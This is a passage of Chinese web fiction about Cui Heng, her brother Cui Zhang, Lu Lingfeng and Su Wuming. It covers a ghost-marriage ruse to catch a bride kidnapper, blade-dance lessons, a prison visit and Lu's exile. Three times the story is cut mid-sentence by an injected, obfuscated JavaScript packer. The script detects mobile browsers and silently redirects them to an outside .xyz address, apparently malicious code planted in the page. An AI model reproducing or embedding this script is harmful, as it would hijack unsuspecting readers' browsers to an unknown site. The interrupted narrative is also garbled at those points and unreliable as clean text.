崔璋点点头:“还是你考虑得周到。” 长安县尉名叫苏无名,费鸡师说明来意,他只是当一个引荐人,是苏无名想见崔右丞。 崔璋咳嗽两声:“不知苏县尉找我有何要事?” 苏无名取出一个卷轴,将卷轴打开递给崔璋:“崔右丞请看,这张画是吏部侍郎裴坚之女所绘之像,据裴小姐所说,画上之人乃是刚刚战死西域的萧伯昭萧将军,可是……我看倒与崔右丞很像。” 崔璋凑上去看,只见画上画着一名身穿铠甲的少年将军,看容貌,确实是他崔璋没错,但是他可不认识什么裴坚之女,更没见过,为何会出现在她的画上? 崔璋很快想通其中关节,只有一个解释,那就是崔蘅,她用跟自己一样的脸做了什么不为人知的事情。 果然,此时屏风后面忽然传来崔蘅的声音:“公子,到吃药的时间了。” 崔璋忽然咳了两声,道:“苏县尉,可否先等待片刻,待我吃过药之后详谈。” 苏无名知道崔璋的身体不好,这种时候自然不可能拦着,忙道:“苏某来得不是时候,崔右丞请便。” 崔璋来到屏风后,又被崔蘅带到客厅的隔间,她看着崔璋,有些无奈:“那画上之人应当是我。” 她详细同崔璋讲了那天的事情,最后说:“可是我已经当场同裴小姐说明,我不是萧将军,她怎么还会说画像上是萧将军呢?” ——若那小姐想与未婚夫继续履行婚约,就更不该把自己这个假冒的人画下来,岂不落人口实? 崔璋瞪了她一眼:“那也不能跟人家说我的名字,真是胡闹。” 崔蘅赔笑道:“兄长,我错了,下次肯定不会,你快去应付那县尉吧,这事蹊跷,我把细节都说给你听,你记住,别说漏了。” 崔璋点点头。 “苏县尉,画上之人确实是我,不过……我只是代人去见面,事关女儿家的清誉,还望苏县尉不要深究。” “了然,还是崔右丞考虑周全。” 苏无名说完,又问:“崔右丞乃是文官,应当不会舞刀弄枪吧。” 崔璋失笑:“自然不会,我自幼身体便不好,从未学过武,又怎会舞刀弄枪呢。” 苏无名“嘶”了一声:“裴小姐却说,见面那日同崔右丞相谈甚欢,宴酣之时,崔右丞起身舞刀,可有此事?” 崔璋皱了皱眉:“怎么可能,第一,本官不会舞刀,第二,本官只是替萧伯昭去见面,还他人情,所以同裴小姐只略略聊了两句,确实送了一盒唇脂作为见面礼,不过也是出于愧疚,最后还挑明了自己的身份,与苏县尉所说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492891|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大相径庭。你确定这都是裴小姐亲口说的?” “这……” 苏无名叹口气:“崔右丞所说,倒与当日在场的仆人们所述相同。实不相瞒,苏无名此次乃是受裴坚裴大人所托调查此事,裴小姐刚知道萧将军战死之时,并未如何伤心,如今却天天闹着要与画上的萧将军作冥婚,与之前的裴小姐行为完全不同,实在诡异。苏无名只好前来求证,希望崔右丞不要怪罪。” 崔璋平时也从崔蘅口中听到过一些诡异之事,不过多是他们师门要抓捕的异兽,苏无名所述,怎么听起来像是裴小姐被邪祟附身了似的。 崔璋思索片刻:“原是如此,我能帮什么忙?” “只能先答应裴小姐,举行冥婚,需要崔右丞配合,假装成画上之人的魂魄归来,待冥婚之后,再随机应变。” 崔璋微微挑眉:“听说长安县最近在查一起新娘失踪案,苏县尉出这个主意,应当不只是想为裴侍郎解忧吧?” 苏无名惊讶地看了崔璋一眼,承认了:“然也。没想到崔右丞年纪轻轻,却聪慧过人,苏某佩服。” 崔璋摆摆手:“莫要恭维。只是前段时间查抄假冒的长安红茶时听说过一些,迄今已经消失了多名新娘,此案实在恶劣至极,本官也希望案件能早日告破。苏县尉若有需要帮忙的地方,可尽管开口。” 苏无名一直听说崔璋为人冷漠,没想到他竟然愿意帮忙,还这么好说话,惊喜地站起来,朝他行了一拜礼:“崔右丞仁慈,苏无名替那些失踪新娘的家人,拜谢崔右丞。” 崔璋却没觉得自己帮忙有什么不对,他自小就被崔蘅那些奇特的观点洗脑,不论是普通百姓的命,还是高官士族的命,只要是人命,便同样宝贵。更何况长安县县尉都求上门了,他也愿尽绵薄之力。 苏无名离开之后,崔蘅从屏风后面走了进来,开口道:“兄长,你的身体刚好一些,受不住折腾,还是我扮成兄长前去吧。” 崔璋看她一眼:“不必,如今我身子大好,怎好再让你冒险,无碍的。” 崔蘅却很坚持:“不可以,你从头到尾都没参与过这件事,有些事情怎会清楚,我去最合适。对了,既然卢凌风也在查这件事,他说不定也有参与,我去问问他。我现在就去。” 崔璋朝她挑挑眉:“你只是想找借口去见他吧。” “兄长!” 崔蘅跺跺脚:“我马上就要离开长安了,都不知道什么时候才能再见,去见见他怎么了嘛。” “好好好,你去你去,兄长才不管你。” 崔蘅确实好多天未见卢凌风了,他是个工作狂,又不会主动约她出去玩,崔蘅扮成崔璋去找他时,卢凌风还在那研究案情,只是听她说要配合苏无名查案,卢凌风皱起眉头:“这个苏无名,我不许他去找崔右丞,他还是去了。你别胡闹,这次是为了设局诱出罪魁祸首,会有危险。” 崔蘅奇怪道:“既是如此,裴侍郎竟然同意自己的女儿掺和进来?” 卢凌风的表情变得有点微妙:“裴侍郎……好像觉得自己的女儿有问题,他说他的女儿不是自己的女儿。” 崔蘅皱起眉头:“这是何意?” 卢凌风摇头:“我也不清楚,裴小姐自己要求冥婚,裴侍郎便想借此机会弄清楚。我了解到她对萧伯昭的态度也觉得奇怪,那天我也在场,你分明同她说清楚了,为何还会声称画着你容貌的画像是萧伯昭?” 崔蘅托着叹口气:“我们在这里乱猜也猜不出来,就按照计划行事吧。” 20.舞刀跟跳舞还是不同的 这次是为了让裴小姐看到自己的“心上人”化作鬼魂,所以崔蘅其实只需要在裴喜君设的宴上远远出现,同她见上一面就可以,但是崔蘅也不会舞刀,裴喜君却硬说初见面是她舞了刀,这可如何是好…… 崔蘅看向卢凌风:“我可没拿过刀,卢凌风,你刀枪剑戟斧钺钩叉样样精通,不如你……” 卢凌风抱起手臂:“你让我替你去舞刀?” 崔蘅却瞪着他:“那不是作弊吗?!你教我舞刀。” “你……莫不是开玩笑?” 崔蘅叉起腰:“你这是什么表情,瞧不起谁?我跳舞很厉害,想必舞刀应当也不难。” 卢凌风挑了挑眉:“你会跳舞?我怎么不知道?” “你给我等着!” 崔蘅气呼呼地跑了,她回房间换上了女装,带着卢凌风来到练武场。练武场中央有个巨大的战鼓,崔蘅直接冲那战鼓走去。崔蘅其实是会一些武艺,只不过都不太灵通,都是用来对付异兽的技巧,她只有轻功厉害,抓不住异兽还能逃跑,不至于自己送命。但是对上贼人的话,就基本没眼看。所以当她身穿一身淡紫色纱衣运起轻功踏上战鼓时,卢凌风一时竟有些愣住。 崔蘅的轻功身法是真的漂亮,像飞,脚一点地轻飘飘就上去了,连点声音都没有。 崔蘅的才女之名绝不是浪得虚名,她不仅精通琴棋书画,也擅长君子六艺,尤擅舞蹈。她身体轻盈,手脚修长,跳起舞来十分漂亮。 崔蘅跳了一曲自己改编的胡旋。她赤脚站在鼓上,一双白皙的脚腕系着金色脚链,崔蘅身上浅紫色纱裤束脚收起,上半部分却在她极速旋转身体时被风鼓起饱满的风包,纱裙上衣轻薄贴身,衬得她纤腰如柳,形同一朵迎风绽放的紫色牡丹,艳丽夺目。她高高跃起,以单脚作槌击打鼓面,越转越快,鼓点声也越来越快,急迫的鼓声连成一片,仿佛战鼓紧促,让人热血沸腾,又紧张得喘不过气。卢凌风在台下紧紧盯着她,一时间移不开眼。鼓点到最快最密之时,忽然戛然而止,最后以一段舒缓柔软的动作结束这支舞。 一曲舞毕,崔蘅累得满头大汗,她笑着从鼓面上飞身下来,落地时有些腿软,卢凌风注意到她体力耗尽,急忙伸手搂住她。崔蘅有些不好意思:“我好长时间没跳才会没力气。” 卢凌风笑着帮她擦擦额头上的汗水:“你居然还会轻功?” “当然,只是不怎么精通罢了……逃跑是够用的。怎么样,能教我舞刀了嘛。” 卢凌风略一思索:“你既没曾在裴小姐面前舞过刀,她应该完全不知道你会舞成什么样,那我教你一套简单的。” 崔蘅疑惑道:“什么叫简单的?” 卢凌风挑挑眉:“俗称花架子。” “……”这个讨厌鬼,这是在嘲讽她! “你休息片刻,我想想要怎么教你。” 卢凌风去院子里折了一根树枝,削去多余的枝杈递给崔蘅:“你没拿过刀,先用这个吧。” 崔蘅不可置信地看着他:“我虽然不会用刀,但也不至于提不动吧。” 卢凌风十分坚持:“没说你提不动,但是你没学会之前,还是先用这个吧,否则会伤到自己。” 卢凌风让她握住树枝,自己从后面握住她的那只手,道:“先教一遍动作,你既然会跳舞,应当记得住动作。” 崔蘅一脸严肃:“当然,开始吧。” 卢凌风点点头,握着崔蘅手便开始舞起来,他一边教一边解说要点,作为老师来说,还是挺称职的。 “手伸出去的时候腿要弓步上前,手腕要灵活,不要软。注意脚下,定住!下盘怎么这么不稳!” 卢凌风扯着她的手臂教,小腿抵着她的膝窝向前迈,崔蘅倒是灵活,记动作也快,但是跳舞同练刀终究不同,崔蘅正努力记动作呢,结果卢凌风的脚一上来,她被绊了一下,整个人仰面就往后倒:“哎哎哎——!” 卢凌风急忙伸手抱住她,将她从地上捞起来。他十分无语地看着崔蘅:“你怎得……怎得轻飘飘的,我都没用多大力气,怎会站不稳。” 崔蘅翻个白眼:“因为我是美丽的花架子啊!中看不中用!” 卢凌风深深吸口气:“从扎马步开始练!” 崔蘅哭唧唧地扑过去捶他:“卢将军你失心疯了,我是要学舞刀,舞刀!不是要上阵杀敌!我只有一天的时间学,你让我学五年啊?!” “……” 崔蘅把树枝递还给他:“你做一遍我看看,先把大致动作学会,细节方面再调整吧。” 卢凌风只好采纳她的建议,便迅速做了一遍动作,崔蘅在一旁认真看着,努力地记。卢凌风做得这套动作倒是简单,比她学的舞好记得多。崔蘅很自信地接过他手中树枝,刷刷刷把他刚刚做的动作做了一遍,回头朝卢凌风挑挑眉:“如何?” 卢凌风看起来不太满意,摸着下巴思索道:“乍看之下尚可,动作绵软,整体看起来不像舞刀,还是像跳舞。舞刀就算花架子,出刀也要干净有力,调整一下。” 崔蘅撇撇嘴:“那拆解动作,一个一个来。” 卢凌风点头,示意她开始,崔蘅便慢慢舞起来,卢凌风随时叫停,纠正她的动作。 他轻轻拍一下崔蘅的后腰:“腰不要挺这么直,放松,肩膀向下沉。” 崔蘅被他拍了一下,差点跳起来:“喂!你说就说不要动手!” 卢凌风想了想,噗嗤一声笑出声,凑过去在她耳边道:“我若不动手,如何纠正你的动作。” 崔蘅抬起手用手肘把他抵开:“……继续继续!” “好,继续,转身的时候要快,同你跳胡旋不一样,再来一次。” 崔蘅点头,握着树枝猛地转过身出招,结果那根树枝直指向卢凌风,擦着卢凌风的脖颈划过去,如果不是他反应快躲了一下,绝对会戳到他喉咙上。崔蘅吓得手里的树枝都掉了,急忙跑过去,抬手托起他的下颌:“没事吧?我看看!” 卢凌风道:“没事,我躲开了。事实证明给你用树枝是正确的选择。” 崔蘅去摸他的脖子:“都红了……如果是真刀,我是不是就把你杀了。” 卢凌风瞥她一眼:“就凭你?” “……” 这样折腾了一通,崔蘅还是勉强完成了舞刀这项任务。不过卢凌风给她纠正动作太久,有些开始怀疑自己的眼光了,他觉得崔蘅的动作没什么大问题,但是整体看起来又十分怪异。所以卢凌风把苏无名和费鸡师请来,让他们参考。 他们两人都没见过女装的崔蘅露脸,而且在外界眼里,崔蘅还是死人呢。不过卢凌风觉得她总有一天要暴露,还不如直接说了,更何况现在崔璋的病都好了,哪里还有继续隐瞒的必要。 苏无名看到崔蘅时,却无太大意外,轻轻一笑:“那日与裴小姐见面的,竟是崔小姐,如此说来,那日我与崔右丞见面时,在屏风之后的侍女,也是崔小姐吧?” 崔蘅笑着点点头:“实在不好意思,当时萧伯昭让卢凌风代他去见裴小姐时我也在场,考虑到由一个陌生男子去见裴小姐,终究有损她的清誉,最后才由我代劳的。” 苏无名闻言微微皱起眉头,他思索片刻,忽然问卢凌风:“若那日去见裴小姐的人是卢将军,可会说破自己并非萧将军这件事。” 卢凌风皱着眉头想了半天:“大概不会说吧。” 卢凌风毕竟是个男子,他又懒得背后说人是非,虽然看不惯她表兄,可是说出来,他自己也尴尬。 苏无名点了点头,崔蘅没明白他为什么问这些问题,拎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492892|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起一旁的刀:“那我开始了。” 崔蘅学东西倒是快,但是她舞完之后,在场的三个人面面相觑,脸色都说不出的怪异。崔蘅看看他们几个人,底气有些不足道:“怎么了,舞得……不好?” 几个人都支支吾吾,最终还是苏无名开口:“好……是好,但是不像男子啊。” 费鸡师点头应和:“若男子如此耍刀,确实怪异。” 卢凌风猛一捶手:“我就说哪里奇怪,你现在着罗裙舞刀,看不出奇怪,若你换上男装再舞,必定十分违和!” 崔蘅听懂了,他们在说她娘。崔蘅深受打击,手里的刀“当啷”一声掉在地上:“……一天之内练成卢将军那样臣妾实在做不到。” 卢凌风皱紧眉头:“这般岂不露馅。” 崔蘅想了想,对卢凌风道:“那还是你帮忙舞刀吧,我们配合一下,我远远露个脸,大不了你舞刀时多弄点烟雾,把脸挡住。反正也是要装鬼,正好装的像一点。” 卢凌风微微挑眉:“你确实懂装鬼。” 崔蘅听他意有所指,笑着去扯他的袖子:“卢将军觉得我这个主意好不好。” 卢凌风轻咳一声,瞥了眼旁边的两人,他们俩一个看天一个看地,崔蘅急忙收回手站好。卢凌风才道:“我没有意见,苏县尉以为呢?” 苏无名道:“好啊,好主意,那就……就这么办!” 这个时代没有干冰,苏无名带人烧了好多秸秆才营造出仙气飘飘的感觉,崔蘅扮了男装,运起轻功翩翩落在水榭中央,她确定与裴小姐对视上了之后,才矮身从一旁烟雾最浓的位置逃跑,卢凌风则趁机钻进去,在水榭中间舞起刀来。崔蘅躲在一旁看了会儿,跟一旁烧麦秸的费鸡师说悄悄话:“确实比我帅。” 费鸡师没忍住,“噗”地笑出了声。 不过卢凌风也只耍了一会儿就退下了,一来怕露馅,二来,那位裴小姐竟然大步流星朝水榭这边飞奔过来了,把躲在暗处的两人和舞刀的一人都吓个半死。卢凌风下台之后一阵兵荒马乱:“快走快走!苏无名为何没拦住她?!” 好在他们预先留了逃跑的通道,撤退十分迅速,并没有被那位裴小姐抓住。 今天的事情结束得兵荒马乱,苏无名回来之后,脸上的表情更凝重了。几个人盯着他的脸,期待他说出点什么,苏无名沉默半晌道“这肯定是人扮的,我要去见他。” 在场几人皆十分茫然,苏无名道:“这是裴小姐对在下说的话。水榭之上,我尽力阻止她靠近,并对裴小姐说,随意过去会惊扰萧将军的亡灵,裴小姐还是拼命往这边冲,她根本不信鬼魂之说。” 崔蘅忍不住道:“那她冥什么婚……这不是她要求的吗?” 苏无名道:“而且,裴小姐不是在崔小姐出现时想往这边冲,而是在卢将军舞刀时才激动起来,这十分不合常理。” 卢凌风皱着眉头考虑是哪里不合常理,崔蘅已经贼兮兮地靠近过来,她用手肘捅捅他,低声道:“你是不是招惹了什么风流债?” 卢凌风瞥她一眼:“别胡说。” 崔蘅清清嗓子,站直了大声道:“卢将军是不是同裴小姐认识啊!” 卢凌风被她吓了一跳,立刻道:“不认识!见都没见过!” 崔蘅朝苏无名摊手:“要不苏县尉再从裴小姐那边找找原因?只是,如此一来,不知定下的冥婚之事,是否能顺利举行。” 卢凌风不至于私下里去认识他的表嫂,还要不承认,那只有可能是裴喜君那边出了问题。 苏无名古怪地笑了一下:“更怪异的是,裴小姐愿意冥婚。” 他叹口气:“这位裴小姐身上,古怪之处甚多,先依她所愿吧。” 现在当务之急是抓住凶手,其他的谜团可以慢慢解开。 21.公主是不是强迫你做面首? 冥婚那天崔蘅没去,毕竟她的角色已经是个死人,只要新娘出嫁即可,卢凌风却在暗中调兵,她偷偷去将军府个金吾卫大营看了,被他调走好多人。看来今夜便是他说的,抓捕元凶的时机。 崔蘅琢磨半天,还是放弃了,抓贼这种事应该不用她帮忙吧,她还是赶紧收拾行行礼为捉烛蛇做准备。 就这样,崔蘅准备了一天外出的行李,等她再听到卢凌风的消息时,他被打入大牢了。 “什么?!” 崔蘅几乎破音地朝着崔璋大吼:“他不是抓贼去了吗?!怎么自己进大牢了?!” 崔璋捂着耳朵睨她:“你别激动,不光他,苏无名也进去了。” “什么——?!” 崔蘅叫得更大声了:“他俩不是都抓贼去了吗?!这是为什么啊?!难道那个贼是姓李的吗?!” 崔璋忙抬手去捂崔蘅的嘴:“你轻点声!!” 他无奈地看着崔蘅:“具体是何情况我还没查清楚,不过目前还没有对他们二人的相关判决,应当无碍。” 崔蘅豁然起身:“等判决下来就晚了!这他妈的封建王朝狗屁朝廷老娘一天都忍不了了,黑甲卫唔唔唔——!!” 崔璋再次捂住她的嘴,并把准备往外冲的崔璋拉扯回来用力按在椅子上,他震惊地盯着崔蘅:“你叫黑甲卫干嘛?!你不是因为卢凌风被抓就要谋朝篡位吧?!!” 崔蘅叫道:“我不!!!我要推翻封建王朝!!!卢凌风没日没夜给他们当狗做鸡,案子要结了给下大狱了!立案了吗?!出通报了吗?!社会面承认吗?!法院判决了吗?!我不服!!!凭什么随随便便就抓人真他妈以为地球姓李啊!!!老娘要造反!” 崔蘅其实常年都处在这种不服想造反的状态,这个朝代时常令她觉得压抑,局限和愚昧,平时还能装个正常人,突破她的极限,她就要发疯了。 崔璋被她叫得脑瓜子嗡嗡的,他现在最庆幸的是好在内室隔音好,否则被人听见了,不知道惹出什么麻烦。 崔璋捂着脸疲惫地摆摆手:“没那么严重,据我了解,是太子和公主在博弈,长安红茶,很有可能就是公主授意售卖,现在他们抓的那个新娘失踪案的主谋,也是卖长安红茶的主谋,公主试图以红茶控制文武百官。” “这个疯女人……她不会觉得谁他妈的狠谁就能当统治者吧?” 崔蘅拳头捏得咔咔作响,反倒冷静下来:“这件事有证据吗?太平公主虽然是神经病,但是这么干也有点太自掘坟墓了吧。” 崔璋瞥她一眼,斟酌道:“原本让我的手下探听一下消息,他们却探听到了公主和卢凌风的对话,公主竟然特地召见卢凌风,并亲自对他解释,她自己喝的红茶与市面上售卖的红茶并非一种,然后卢凌风就信了。” “嗤……也没出乎我的意料,你跟他说太子特别看好他要让他当宰相他也能信。” 崔蘅被气笑了,她疲惫道:“没事,我就喜欢他的天真,然后呢。” 崔璋挑眉:“若公主真与此事无关,早就该在长安红茶案闹得沸沸扬扬时候出手了,何必等到元凶落网,被卢凌风一□□死之后才出面澄清,太子那边大约也查到了些蛛丝马迹,想借这件事锉公主一党的锐气,能牵出萝卜带出泥也好啊,结果元凶连审都没审就这么被灭口了,忙活这么久半点好处没捞着,估计也在埋怨看卢凌风。” “嘶——” 崔蘅牙疼地倒抽凉气,把自己的头发都挠乱了:“兄长,你找人给他算算八字吧,他是不是命里带扫把星,这么倒霉的事都能遇上。” 崔璋奇怪地看她一眼:“你不应该关注,为什么公主对卢凌风的态度如此暧昧?公主可是有面首的。” “嘶————” 崔蘅更长地倒抽了口凉气:“我还真没考虑到这个……不过算了,除却生死无大事,卢凌风自己开心就好。” “什么?!” 崔蘅表情冷淡道:“贞洁不在女人罗裙之下,也不在男人圆领袍之下,我会体谅他的。哎兄长,你这样一分析,卢凌风好像也不会有什么生命危险嘛,公主如果看上他了肯定会保他,太子嘛……顶多憋屈半夜起来骂两句卢凌风自认倒霉,总不会杀了他,那我还是继续收拾行李吧。” “……妹妹,你从太看不开忽然变得看太开,让我有点不适应。” 崔璋皱着眉头想了半天,道:“你说,万一卢凌风是被强迫的怎么办?反正万一你被狗皇帝强迫进宫,为兄是会造反的。” 崔璋慢慢抬起眼睛,眼底闪烁着某些危险的东西:“哦,是啊,也有这种可能性,那我今夜就去大牢里看看他吧,兄长你能不能安排。” “……我安排。” 崔璋心说我不安排能怎么办,不安排你该遁地进去了。 当天夜里,崔蘅便拎着食盒哭哭啼啼地进了大牢,从牢门口她就开始哭:“郎君啊~~怎会如此啊,这不是要妾身的命嘛~~~妾身也随你去了吧~~~” 卢凌风听着一阵由远及近的哭泣声像唱戏一样呜呜咽咽地传进来,虽然听出了是崔蘅的声音,他汗毛都立起来了,住他对面牢房的苏无名轱辘一下爬起来,背靠着墙壁,摆出一副要看戏的表情。果然不久,戴着面纱的崔蘅就娉娉婷婷飘进牢里来了,然后一把扑到卢凌风牢门前开始哭。 “郎君~~~呜呜呜~~你如何会被下了大狱啊,奴家在平康坊等你赎出去呢~~怎会如此,怎会如此啊~~~奴家可怎么活啊啊啊~~~” 卢凌风原本正为自己被太子下狱感到郁郁,被崔蘅一通唱念做打给冲散了情绪,现在只觉得毛骨悚然。他见几个狱卒都出去了,咬着牙小声道:“你正常点!” 崔蘅斜着眼往后瞥一眼,忽然提高哭声,一边呜咽着假装擦眼泪,一边往外面拿食盒里的东西,压低声音问卢凌风:“你是自愿的吗?” 卢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497956|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌风黑着脸:“我现在都不知道自己为何被关在这里,能是自愿的?” 崔蘅一把抓住他的手:“我是说,公主是不是强迫你做面首?” “你胡说八道什么!公主召见我问话罢了!” 卢凌风已经不知道该悲伤还是该生气了,他现在只想笑:“你快出去吧,这里没你的事,别来看我。” 崔蘅将声音压得更低一些:“若非如此,那就是更复杂的事,别担心,我手里有人可用。今夜子时,我安排人劫狱,救你出去。” 卢凌风一听急忙握住她的手,他相信崔蘅说出口,就绝对做得出来,这可太吓人了:“崔知意!你别胡闹!我不过暂且被收押,又不是判死刑,你若劫狱可就变成大罪了!你想我死啊?!崔璋怎么会让你来这个地方,你快回去!” 崔蘅道:“万一他们要砍你的头呢?!判决下来可就晚了!” 卢凌风闭了闭眼:“若真如此,我就认命了。你若将我劫走,届时我只能一生为贼,还不如让我死在这里。” 崔蘅倒吸一口凉气:“放屁!窃钩者诛,窃国者诸侯!我们一起!杀进玄武门!活捉唔——!” 她话说了一半被卢凌风捂住了嘴,卢凌风声音都抖了:“……崔知意!你再胡说八道,等我出去看我怎么收拾你!” 卢凌风都快凌乱了,如果这里没人,他肯定跪下来求求她:“我保证,我不会砍头,你老老实实回去好不好?不要再说这种话!” 苏无名听崔蘅都说出这种话了,也不好继续看戏:“崔……崔姑娘,应该还不到那个时候,你冷静点。此案中,卢凌风立了大功,就算无赏,也不该赐死,你先回去等消息吧。” 崔蘅满眼戾气看向苏无名:“苏县尉放心,若劫狱定也会捎带上你。” “……不、不用,好意苏某心领了,这里住着也挺好的。” 苏无名努力把自己缩小一点,他有点不能理解,崔蘅也是世家大族出来的小姐,怎会满身匪气……还不是一般的匪,是浑身充满造反气质的大贼! 崔蘅不能在这里待太久,她深深看了卢凌风一眼:“一定保住性命,其他都可舍弃。” 卢凌风用力握住她的手,咬着牙挤出几个字:“今夜子时我不想见到你,你若敢来,我就咬舌自尽。” 崔蘅撇了撇嘴,对卢凌风的“忠臣死社稷”的做法十分不赞同,他好歹真为社稷而死,而不是被某个统治者欺负死啊。 崔蘅再次切换成哭哭啼啼的模样:“那妾身就先走了~~改日再来探望郎君~~” 她拿帕子捂着脸,拎着空食盒呜呜咽咽地跑出大牢,留下了牢中吓出两身冷汗的男人。 卢凌风看着从牢房窗口投进来的月光呆坐许久,忽然对苏无名说:“苏无名,我忽然……觉得,好像被太子厌弃也不是什么大事。” 苏无名默默道:“苏某也觉得,脑袋掉了碗大个疤,都是小事,小事……” 22.启程去南州 崔蘅在家里心急如焚地等了几天,终于等来消息,卢凌风最后确实没被人砍头,但是他被太子下令削职罢官,没收财产,逐出长安。苏无名也被派到一个下州去做司马,明升实贬,十分凄惨。 崔蘅得到消息,立刻收拾好行李,带上武奇飞洛两个人上路了。她本来就打算离开长安,还没来得及跟卢凌风告别,他居然就被赶出来了,那正好,路上带上他好了。 崔蘅向来觉得,除却生死无大事,既然太子没把卢凌风弄死,那她的造反大计就暂且推迟一段时间。 不过听说卢凌风在牢里还受刑了,伤得不轻,崔蘅便让人调查他的消息,偷偷跟了上来。卢凌风身边倒还有忠心耿耿的人,郭庄将他背出城外,崔蘅从暗处看着卢凌风浑身血淋淋地被背出来,心里十分不忍。 她犹豫一下,朝跟着她的两个黑甲卫摆摆手,压低声音道:“你们去马车那边等我,别跟过来,更别让卢凌风发现你们。” “是,小姐。” 崔蘅在暗处观察半天,看到费鸡师竟然也跟着他,忍不住微微勾了勾唇——本来还想找机会把郭庄叫出来,现在碰见费鸡师了,更好。崔蘅偷偷从树林另一边跟上去,然后一把从后捂住费鸡师的嘴,把他拖进了林子里。 费鸡师吓得三魂去了七魄,崔蘅放开他时,他正要大喊,却被崔蘅再次捂住嘴:“嘘!是我!崔蘅!” 费鸡师重重松了口气:“怎么是你?你在这里做什么?为何跟着我,还从后面偷袭我,我已经给崔右丞开过药了,吃完这副药他定然就会痊愈。” “不是我兄长的事。” 崔蘅警惕地往卢凌风那边看了一眼,压低声音道:“我是跟着他的。卢凌风受了好重的伤,我手上正好有一种止血非常好用的药粉,不仅止血,还能弥筋愈骨,正对他的症状。但是我现在不能出现在他面前,他这个人死爱面子,若被我看到他这副狼狈模样,该羞愤欲死了。” 费鸡师恍然大悟:“啊……确实如此,你还真是了解他啊。” “哼,他出这么大的事都不派人跟我说一声,我还能不知道他想的什么。” 崔蘅从随身口袋中摸出一个药瓶,递给费鸡师:“费神医,这就是我说的药粉,我知道你医术了得,但是配合这个药使用,总能帮上些忙。不过,这个药特别疼,你给他上药时候小心点,别把他疼死了。” 费鸡师收下那瓶药,笑了笑:“你可真周全啊。” 崔蘅摆摆手:“我同我的两个护卫就在不远处,若遇意外便大声喊叫,我们会过来。那我先走了。” 费鸡师给她一个“安心”的眼神:“你去吧,我会照顾好卢将军的。” 崔蘅有些不放心地看了他们一眼,最终还是离开了,等卢凌风好一点,能保持他范阳卢氏的风骨时,再出现在他面前吧。 崔蘅回到马车,武奇和飞洛正在喂马匹,见到她便迎上来:“小姐,我们何时出发。” 崔蘅摇摇头:“先休息一晚上吧,明早再出发。” 性格比较活泼的飞洛笑着道:“小姐,你是不是为了照顾那个中郎将啊?” “是啊,那又怎么样,他现在受那么重的伤,拖老带残的,总不能把他扔在这吧!” 崔蘅瞥他一眼:“等下你送些干粮和御寒的皮裘过去,偷偷送给费神医,这树林到了夜里温度肯定会很低,免得他们冻死。” 崔蘅刚说完,竹林那边忽然传来一声杀猪似的嚎:“怎么这么疼!!!” 崔蘅忍不住捂着嘴“噗嗤”笑了一声,心里想,活该,让你出了事不告诉我,他们师门的好药她可领教过,让卢凌风好好享受享受。 这一晚上崔蘅睡在马车里,武奇和飞洛就地弄了个帐篷,他们睡觉时会睡在崔蘅让人做的睡袋里面,并不会觉得冷。 崔蘅有些睡过头了,第二天是武奇把她叫醒的。他在外面敲了两下马车:“小姐,醒醒,他们好像要走了。” 崔蘅迷迷糊糊听到这句,立刻清醒过来,急急忙忙从睡袋里钻出来,跳下了马车:“在这等我。” “是。” 崔蘅见到卢凌风时,他已经能自己下地走路了,看来是没伤到筋骨,再加上她那药,疼是疼,但确实好用,他们就这么迎面撞上了。卢凌风一副不自在的样子,崔蘅立刻抱着手臂,阴阳怪气地“哟~”了一声:“真巧呀,这不是卢将军嘛。” 卢凌风哽了一下,轻咳一声,道:“你怎么在这里,还不回去。” 崔蘅走到他面前,斜睨他一眼:“我凭什么回去,长安以外都是你的地盘?我不能去?” 卢凌风急道:“我没跟你开玩笑!我此次是被赶出长安,四海漂泊……你在长安有你兄长照顾,不要跟着我。” “谁说我是跟着你的!” 崔蘅朝他扬起下巴,“唰”地一下把自己的路线计划图展开,怼在卢凌风面前:“这是我早就做好计划要去的地方!你好好看看,我早就要走了!” 卢凌风疑惑地看着,发现这张地图好像确实是早就标记好的,便也不再说什么,而是问道:“你一个女子,做何去这些地方?我看很多都是偏蛮之地,很危险。” 崔蘅直接把地图收起来,皱着脸扭到一旁:“为什么要告诉你,我同你关系很好吗?” 卢凌风见她一脸别来烦我的傲娇样子,下巴快撅到天上去了,这才终于明白过来,她这是在跟自己生气。他瞥了身后还在睡觉的费鸡师一眼,拉着崔蘅往远处走过来一些:“你这是怎么了,同我生什么气?” 崔蘅狠狠瞪他一眼:“我同你生气?我有什么立场同你生气?还以为我好歹跟卢将军也算朋友呢,原来卢将军只把我当外人!” “我哪有!” 卢凌风喊完又急忙压低声音:“我哪有,何时把你当外人,你能否明说。” 